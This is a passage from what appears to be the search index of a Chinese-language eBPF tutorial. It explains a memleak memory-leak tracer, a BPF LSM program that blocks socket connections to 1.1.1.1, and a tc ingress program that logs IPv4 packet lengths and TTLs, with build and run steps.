是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码：https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ git clone https://github.com/iovisor/bcc.git --recurse-submodules $ cd libbpf-tools/\n$ make memleak\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 [<ffffffff812c8f43>] <null sym> 1 [<ffffffff812c8f43>] <null sym> 2 [<ffffffff812a9d42>] <null sym> 3 [<ffffffff812aa392>] <null sym> 4 [<ffffffff810df0cb>] <null sym> 5 [<ffffffff81edc3fd>] <null sym> 6 [<ffffffff82000b62>] <null sym>\n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O"},"112":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 背景","id":"112","title":"背景"},"113":{"body":"Biopattern 的ebpf代码在 tracepoint/block/block_rq_complete 挂载点下实现。在磁盘完成IO请求 后，程序会经过此挂载点。Biopattern 内部存有一张以设备号为主键的哈希表，当程序经过挂载点时, Biopattern 会获得操作信息，根据哈希表中该设备的上一次操作记录来判断本次操作是随机IO还是顺序IO，并更新操作计数。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 实现原理","id":"113","title":"实现原理"},"114":{"body":"TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 编写 eBPF 程序","id":"114","title":"编写 eBPF 程序"},"115":{"body":"Biopattern 可以展现随机/顺序磁盘I/O次数的比例，对于开发者把握整体I/O情况有较大帮助。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"115","title":"总结"},"116":{"body":"TODO","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"116","title":"更多的参考资料"},"117":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"117","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"118":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"118","title":"背景"},"119":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 对 task 和 process 的操作； 对 socket 的操作（创建、绑定 socket，发送和接收消息等）； 更多 hook 点可以参考 lsm_hooks.h 。","breadcrumbs":"使用 LSM 进行安全检测防御 » LSM 概述","id":"119","title":"LSM 概述"},"12":{"body":"eBPF 介绍： https://ebpf.io/ BPF Compiler Collection (BCC)： https://github.com/iovisor/bcc eunomia-bpf： https://github.com/eunomia-bpf/eunomia-bpf 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程源代码，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 参考资料","id":"12","title":"参考资料"},"120":{"body":"首先，请确认内核版本高于 5.7。接下来，可以通过 $ cat /boot/config-$(uname -r) | grep BPF_LSM\nCONFIG_BPF_LSM=y 判断是否内核是否支持 BPF LSM。上述条件都满足的情况下，可以通过 $ cat /sys/kernel/security/lsm\nndlock,lockdown,yama,integrity,apparmor 查看输出是否包含 bpf 选项，如果输出不包含（像上面的例子），可以通过修改 /etc/default/grub： GRUB_CMDLINE_LINUX=\"lsm=ndlock,lockdown,yama,integrity,apparmor,bpf\" 并通过 update-grub2 命令更新 grub 配置（不同系统的对应命令可能不同），然后重启系统。","breadcrumbs":"使用 LSM 进行安全检测防御 » 确认 BPF LSM 是否可用","id":"120","title":"确认 BPF LSM 是否可用"},"121":{"body":"// lsm-connect.bpf.c\n#include \"vmlinux.h\"\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"GPL\"; #define EPERM 1\n#define AF_INET 2 const __u32 blockme = 16843009; // 1.1.1.1 -> int SEC(\"lsm/socket_connect\")\nint BPF_PROG(restrict_connect, struct socket *sock, struct sockaddr *address, int addrlen, int ret)\n{ // Satisfying \"cannot override a denial\" rule if (ret != 0) { return ret; } // Only IPv4 in this example if (address->sa_family != AF_INET) { return 0; } // Cast the address to an IPv4 socket address struct sockaddr_in *addr = (struct sockaddr_in *)address; // Where do you want to go? __u32 dest = addr->sin_addr.s_addr; bpf_printk(\"lsm: found connect to %d\", dest); if (dest == blockme) { bpf_printk(\"lsm: blocking %d\", dest); return -EPERM; } return 0;\n} 这是一段 C 实现的 eBPF 内核侧代码，它会阻碍所有试图通过 socket 对 1.1.1.1 的连接操作，其中： SEC(\"lsm/socket_connect\") 宏指出该程序期望的挂载点； 程序通过 BPF_PROG 宏定义（详情可查看 tools/lib/bpf/bpf_tracing.h ）； restrict_connect 是 BPF_PROG 宏要求的程序名； ret 是该挂载点上（潜在的）当前函数之前的 LSM 检查程序的返回值； 整个程序的思路不难理解： 首先，若其他安全检查函数返回值不为 0（不通过），则无需检查，直接返回不通过； 接下来，判断是否为 IPV4 的连接请求，并比较试图连接的地址是否为 1.1.1.1； 若请求地址为 1.1.1.1 则拒绝连接，否则允许连接； 在程序运行期间，所有通过 socket 的连接操作都会被输出到 /sys/kernel/debug/tracing/trace_pipe。","breadcrumbs":"使用 LSM 进行安全检测防御 » 编写 eBPF 程序","id":"121","title":"编写 eBPF 程序"},"122":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc lsm-connect.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run package.json 接下来，可以打开另一个 terminal，并尝试访问 1.1.1.1： $ ping 1.1.1.1\nping: connect: Operation not permitted\n$ curl 1.1.1.1\ncurl: (7) Couldn't connect to server\n$ wget 1.1.1.1\n--2023-04-23 08:41:18-- (try: 2) http://1.1.1.1/\nConnecting to 1.1.1.1:80... failed: Operation not permitted.\nRetrying. 同时，我们可以查看 bpf_printk 的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe ping-7054 [000] d...1 6313.430872: bpf_trace_printk: lsm: found connect to 16843009 ping-7054 [000] d...1 6313.430874: bpf_trace_printk: lsm: blocking 16843009 curl-7058 [000] d...1 6316.346582: bpf_trace_printk: lsm: found connect to 16843009 curl-7058 [000] d...1 6316.346584: bpf_trace_printk: lsm: blocking 16843009 wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect","breadcrumbs":"使用 LSM 进行安全检测防御 » 编译运行","id":"122","title":"编译运行"},"123":{"body":"本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中，我们通过 BPF_PROG 宏定义函数，并通过 SEC 宏指定挂载点；在函数实现上，遵循 LSM 安全检查模块中 \"cannot override a denial\" 的原则，并根据 socket 连接请求的目的地址对该请求进行限制。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 LSM 进行安全检测防御 » 总结","id":"123","title":"总结"},"124":{"body":"https://github.com/leodido/demo-cloud-native-ebpf-day https://aya-rs.dev/book/programs/lsm/#writing-lsm-bpf-program","breadcrumbs":"使用 LSM 进行安全检测防御 » 参考","id":"124","title":"参考"},"125":{"body":"","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制","id":"125","title":"eBPF 入门实践教程二十：使用 eBPF 进行 tc 流量控制"},"126":{"body":"Linux 的流量控制子系统（Traffic Control, tc）在内核中存在了多年，类似于 iptables 和 netfilter 的关系，tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架，主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始，tc 增加了一些新的挂载点，并支持将 eBPF 程序作为 filter 加载到这些挂载点上。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 背景","id":"126","title":"背景"},"127":{"body":"从协议栈上看，tc 位于链路层，其所在位置已经完成了 sk_buff 的分配，要晚于 xdp。为了实现对数据包发送和接收的控制，tc 使用队列结构来临时保存并组织数据包，在 tc 子系统中对应的数据结构和算法控制机制被抽象为 qdisc（Queueing discipline），其对外暴露数据包入队和出队的两个回调接口，并在内部隐藏排队算法实现。在 qdisc 中我们可以基于 filter 和 class 实现复杂的树形结构，其中 filter 被挂载到 qdisc 或 class 上用于实现具体的过滤逻辑，返回值决定了该数据包是否属于特定 class。 当数据包到达顶层 qdisc 时，其入队接口被调用，其上挂载的 filter 被依次执行直到一个 filter 匹配成功；此后数据包被送入该 filter 指向的 class，进入该 class 配置的 qdisc 处理流程中。tc 框架提供了所谓 classifier-action 机制，即在数据包匹配到特定 filter 时执行该 filter 所挂载的 action 对数据包进行处理，实现了完整的数据包分类和处理机制。 现有的 tc 为 eBPF 提供了 direct-action 模式，它使得一个作为 filter 加载的 eBPF 程序可以返回像 TC_ACT_OK 等 tc action 的返回值，而不是像传统的 filter 那样仅仅返回一个 classid 并把对数据包的处理交给 action 模块。现在，eBPF 程序可以被挂载到特定的 qdisc 上，并完成对数据包的分类和处理动作。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » tc 概述","id":"127","title":"tc 概述"},"128":{"body":"#include <vmlinux.h>\n#include <bpf/bpf_endian.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> #define TC_ACT_OK 0\n#define ETH_P_IP 0x0800 /* Internet Protocol packet */ /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1}\nSEC(\"tc\")\nint tc_ingress(struct __sk_buff *ctx)\n{ void *data_end = (void *)(__u64)ctx->data_end; void *data = (void *)(__u64)ctx->data; struct ethhdr *l2; struct iphdr *l3; if (ctx->protocol != bpf_htons(ETH_P_IP)) return TC_ACT_OK; l2 = data; if ((void *)(l2 + 1) > data_end) return TC_ACT_OK; l3 = (struct iphdr *)(l2 + 1); if ((void *)(l3 + 1) > data_end) return TC_ACT_OK; bpf_printk(\"Got IP packet: tot_len: %d, ttl: %d\", bpf_ntohs(l3->tot_len), l3->ttl); return TC_ACT_OK;\n} char __license[] SEC(\"license\") = \"GPL\"; 这段代码定义了一个 eBPF 程序，它可以通过 Linux TC（Transmission Control）来捕获数据包并进行处理。在这个程序中，我们限定了只捕获 IPv4 协议的数据包，然后通过 bpf_printk 函数打印出数据包的总长度和 Time-To-Live（TTL）字段的值。 需要注意的是，我们在代码中使用了一些 BPF 库函数，例如 bpf_htons 和 bpf_ntohs 函数，它们用于进行网络字节序和主机字节序之间的转换。此外，我们还使用了一些注释来为 TC 提供附加点和选项信息。例如，在这段代码的开头，我们使用了以下注释： /// @tchook {\"ifindex\":1, \"attach_point\":\"BPF_TC_INGRESS\"}\n/// @tcopts {\"handle\":1, \"priority\":1} 这些注释告诉 TC 将 eBPF 程序附加到网络接口的 ingress 附加点，并指定了 handle 和 priority 选项的值。关于 libbpf 中 tc 相关的 API 可以参考 patchwork 中的介绍。 总之，这段代码实现了一个简单的 eBPF 程序，用于捕获数据包并打印出它们的信息。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编写 eBPF 程序","id":"128","title":"编写 eBPF 